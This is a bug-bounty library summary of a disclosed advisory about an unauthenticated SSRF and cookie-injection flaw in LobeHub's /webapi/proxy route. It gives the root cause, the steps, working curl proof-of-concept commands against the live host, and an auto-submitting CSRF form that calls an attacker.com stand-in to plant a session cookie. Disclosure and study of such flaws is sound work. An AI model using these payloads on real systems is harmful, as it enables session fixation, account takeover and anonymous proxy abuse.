# LobeHub: Unauthenticated SSRF in `/webapi/proxy`

Unauthenticated /webapi/proxy on app.lobehub.com fetches arbitrary URLs server-side and reflects upstream Set-Cookie headers, enabling cookie injection on lobehub.com via CSRF.

- Payout: Research
- Severity: critical
- Program: LobeHub
- Found by: 0xj3st3r
- Disclosed: 2026-06-16
- CVE: CVE-2026-54157
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xmwj-c75x-6346
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xmwj-c75x-6346
- Tags: area:web domain:web impact:ato impact:internal-access kind:research platform:ghsa sev:critical tech:nextjs technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:csrf vuln:ssrf

**Target:** Next.js webapi proxy route (POST /webapi/proxy)
**Root cause:** The /webapi/proxy route handler passes a body-supplied URL to ssrfSafeFetch() without the checkAuth() wrapper used by every other webapi route, and Next.js middleware skips all /webapi/ paths, so no auth layer applies. Upstream response headers are passed through (only Content-Encoding/Content-Length stripped), reflecting attacker-controlled Set-Cookie.
**Steps:**
1. POST `https://httpbin.org/ip` as text/plain body to `https://app.lobehub.com/webapi/proxy` with no auth; response returns Vercel egress IP `{"origin": "3.14.141.44"}`
2. POST `https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly` to the proxy; response reflects `set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly`
3. Host HTML with `<form id=f action="https://app.lobehub.com/webapi/proxy" method=POST enctype=text/plain><input name="https://attacker.com/inject?x" value=""></form><script>f.submit()</script>`; attacker server responds with `Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly`
4. Victim visits page; browser stores injected cookie on lobehub.com
**How found:** Noticed /webapi/proxy was the only webapi route missing the checkAuth() wrapper, and that defaultMiddleware() calls NextResponse.next() for any /webapi/ path — same proxy code previously fixed in CVE-2024-32964 at /api/proxy but the /webapi/ variant was never secured.
**Exploitation:** Attacker hosts a page that auto-submits a text/plain form to the unauthenticated proxy pointing at an attacker-controlled server; that server returns a Set-Cookie for lobehub.com which the proxy reflects, so the victim's browser stores attacker-chosen __session/__clerk_db_jwt/__client_uat values — session fixation against Clerk auth. Also usable as anonymous proxy for scanning/phishing and to reach Vercel management plane (Edge Config, Vercel API).
**Escalation:** Chains CSRF with header reflection to convert SSRF into cross-domain cookie injection on the parent domain, targeting Clerk session cookie names for session fixation.
**Insight:** When a proxy/SSRF is patched at one route, enumerate sibling route trees (e.g. /api vs /webapi) for the same handler — and check whether middleware path-prefix skips (like /webapi/) bypass the auth wrapper entirely. Reflected upstream headers turn SSRF into cookie injection on the parent domain.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl fetching external URL via proxy**

```
curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/ip" \
  "https://app.lobehub.com/webapi/proxy"
<img width="1069" height="297" alt="image" src="https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18" />

Response:

{"origin": "3.14.141.44"}
```

**Cookie injection via reflected Set-Cookie header**

```
curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
  "https://app.lobehub.com/webapi/proxy"

The response headers include:

set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly
```

